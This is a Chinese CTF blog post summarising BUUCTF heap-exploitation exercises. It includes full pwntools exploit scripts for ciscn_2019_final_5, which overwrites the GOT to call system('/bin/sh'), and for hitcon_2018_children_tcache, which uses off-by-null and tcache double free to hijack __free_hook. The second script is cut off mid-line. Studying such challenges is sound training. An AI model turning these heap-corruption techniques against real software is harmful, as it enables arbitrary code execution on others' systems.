BUUCTF PWN-堆题总结 2021-09-27

整体分析-2021-09-27

本周的PWN都是以熟练、拓展Pwn的基础知识系统为方向
大致分类

  1. Unlink
  2. HourseOfForce
  3. File
  4. UAF
  5. Tcache
  6. 其他角度

堆题的总结经验:

  1. 任何东西都是万事开头难,要愿意耐心的一步步去动态调试理解底层的原理,一切都不是难事
  2. 注重对不同类型题目进行分类归纳模型,很多题目都具有一定共性
    1. 归纳寻找漏洞的特征模型
    2. 归纳解决该类题型的方法模板、流程
  3. 有意识的去选择练习不同类型的题目、拓展广度视野

新角度

稍微有一点偏(带了Crypto),不是重点,算开拓题目视野、角度

Tcache

在不同的系统版本(libc),漏洞利用的方式往往会不同,注重自己上机调试去一步步理解原理

UAF

非常经典的题目类型,多种角度达到任意地址写
多练练,多动手调试调试!

File结构体

新学习的漏洞利用方式,多积累,慢慢来

HourseOfForce

以一定条件为前提的利用类型:

  1. 我们只要分配小一点的堆块我们就可以溢出改写topchunk的size。
  2. 程序本身就可以分配任意大小的堆块,并没有任何限制。

Unlink

经典的堆入门题目的解决方案
=>以制造fakechunk达到任意读写堆数组地址
多动手调试,慢慢就能理解,都是模板化的东西

经验

在静态分析中

  1. 可以多动手调试的同时,在代码上写笔记或是对变量重命名
  2. 善用Patch功能,可以先以本地getshell为方向,升维攻击
  3. 注重环境(与elf的libc环境匹配),可使用glibc-allinone
  4. 注重内存之间的关系、溢出
    1. 填充满后(溢出)与填充前的不同?

堆溢出=>关键检查输入函数的逻辑

  1. 变量类型(无符号溢出?)
  2. 函数特征(strcpy、读入溢出\x00
  3. 读入函数逻辑存在溢出漏洞(+1)

堆题EXP编写的问题

  1. 如果遇到思路正确,但实在无法getshell(崩溃)或是其他原因,请检查一下内存的问题
    1. 对堆创建、修改时是否多了一个\n
  2. 先把堆题功能菜单写好,把简单做好,一步步来,做起来你就能知道下一步怎么走了。

新角度

ciscn_2019_final_5

分析

堆题

  1. 创建
  2. 修改
  3. 删除

与其他题目不同的地方:

  1. 会对内容进行 &(AND) |(OR)
  2. 会泄露一个low 12 bits(buf地址的后3个字节)
  3. 题目是ubuntu18

跳过,需要先安装ubuntn18的libc2.26动态调试漏洞版本

主题思路是利用算法特性,对堆进行攻击
漏洞分析

如上所说,本题地址存放比较特别,但是如果index为16,并且原地址第五位为0,就会导致地址被修改
而我们第一次申请时候地址最低12bits一般为0x260,即0010 0110 0000,和16即0001 0000或,就变成了0010 0111 0000即为0x270,我们就可以在chunk0的content中伪造一个chunk头部,把它释放之后再申请我们就能利用它控制下一个chunk了

漏洞利用

添加一个note[0],编号为16,size为0x10,内容为p64(0)+p64(0x91),再添加一个note[1],编号为1,size为0xc0(这个大小正好可以包括住content和size数组)
释放note[0]和note[1],重新申请一个0x80大小的note[2],把note[1]头部size改为0x21,fd改为content数组0x6020e0
申请一个0xc0大小的note[3],再申请同样大小的note[4],填入free_got, puts_got+1和atoi_got-4,大小全部设为0x10
先把free_got改为puts@plt(edit 8——free@got&0xf=8,atoi@got&0xf=8,所以需要减4),然后delete(1)泄露puts地址
edit 4把system地址写入,然后发送/bin/sh\x00即可

参考PWNKI的WP:https://www.cnblogs.com/luoleqi/p/13467067.html

保护情况:无PIE,可写GOT

[*] '/root/ciscn_final_5'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

EXP

from pwn import *

#r = remote("node4.buuoj.cn", 26967)
r = process("/root/ciscn_final_5",env={
   "LD_PRELOAD":"/root/libc.so.6"})#/lib64/27_1-linux.so.2"})

#/usr/local/glibc-2.26/lib/ld-2.26.so
context.log_level = 'debug'

elf = ELF("/root/ciscn_final_5")
libc = ELF('/root/libc.so.6')#ELF("/lib64/27_1-linux.so.2")#
content = 0x6020e0
free_got = elf.got['free']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']

def add(index, size, content):
    r.sendlineafter("your choice: ",'1')
    r.sendlineafter("index: ",str(index))
    r.sendlineafter("size: ",str(size))
    r.recvuntil("content: ")
    r.send(content)


def delete(index):
    r.sendlineafter("your choice: ",'2')
    r.sendlineafter("index: ",str(index))

def edit(index, content):
    r.sendlineafter("your choice: ",'3')
    r.sendlineafter("index: ",str(index))
    r.recvuntil("content: ")
    r.send(content)

add(16,0x10,p64(0)+p64(0x90))
add(1, 0xc0, 'aa\n')
delete(0)
delete(1)
add(2, 0x80, p64(0)+p64(0x21)+p64(content))
add(3, 0xc0, 'aaa\n')
add(4, 0xc0, p64(free_got)+p64(puts_got+1)+p64(atoi_got-4)+p64(0)*17+p32(0x10)*8)
edit(8,p64(puts_plt)*2)
delete(1)
puts = u64(r.recv(6).ljust(8, '\x00'))
success("puts:"+hex(puts))
libc_base = puts - libc.symbols['puts']
system = libc_base + libc.sym['system']
edit(4, p64(system)*2)
r.recvuntil("your choice: ")
r.sendline('/bin/sh\x00')
r.interactive()

TCACHE

hitcon_2018_children_tcache

分析

整体特征:

  1. 创建
  2. 删除
    1. 正常清零,但会把堆内容重置为\xDA
  3. 输出

保护情况:全开
结合题目是ubuntu18.tcache

猜想:

  1. 申请大堆泄露unsorted bin地址
  2. Double Free攻击修改hook

[*] ‘/root/HITCON_2018_children_tcache’
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

看了WP
此题有一个经典的[[OFFByNull]]漏洞

strcpy 字符串复制函数。复制时,遇到结束符 \x00 才会停止复制。复制结束后,会在最后写入一个结束符 \x00
Pasted image 20210923152332.png

整体利用思路:

  1. 布置 4 个堆,先释放 chunk0 做好向前 unlink 准备。
  2. 通过写 chunk1 实现:溢出修改 chunk2 inuse ,还原 chunk2 prev_size ,伪造 chunk2 prev_size
  3. tcache bin double free 劫持 __free_hook 为 onegadget

主要是新知识的引入[[Tcache]]

  1. 一个程序允许7个tcache上限,后进入fast bin(unsorted bin)
  2. 同时libc2.27需要创建>1024大小的堆块才能进入unsorted bin
  3. tcache中的chunk永远不会被合并
  4. tcache也有单链回环结构的漏洞创建(double free)
  5. 0x250大小的堆一般是tcache的堆管理块

参考大佬的WP:https://blog.csdn.net/weixin_43921239/article/details/109252945

EXP

#coding:utf-8
from pwn import *
context(log_level='debug',arch='amd64')

#p = process("/root/HITCON_2018_children_tcache")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("/root/HITCON_2018_children_tcache")
p = remote("node4.buuoj.cn",27543)
libc = ELF("./x64/libc-2.27_buuctf.so")

def add(size, content):
	p.recvuntil("Your choice: ")
	p.sendline('1')
	p.recvuntil("Size:")
	p.sendline(str(size))
	p.recvuntil("Data:")
	p.send(content)

def free(index):
	p.recvuntil("Your choice: ")
	p.sendline('3')
	p.recvuntil("Index:")
	p.sendline(str(index))

def show(index):
	p.recvuntil("Your choice: ")
	p.sendline('2')
	p.recvuntil("Index:")
	p.sendline(str(index))

def pdd():
    log.success("pid=>"+str(p.pid))
    pause()

add(0x410,'s')
add(0xe8,'k')
add(0x4f0,'y')
add(0x60,'e')

free(0)#enter unsorted bin

free(1)#enter tcache bins



for i in range(0,6):
	add(0xe8-i,'k'*(0xe8-i))
	free(0)



add(0xe8,'k'*0xe0+p64(0x510))#off by null write size(01 05=> 00 05(0x500))
#overflows write size in chunk2(inuse) for unlink checks


free(2)

add(0x410,'leak libc')
show(0)

leak_addr = u64(p.recv(6).ljust(8,'\x00'))
log.info("leak_addr:"+hex(leak_addr))
libc_base = leak_addr -0x3ebca0
free_hook = libc_base + libc.sym['__free_hook']

add(0x60
  • 3
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值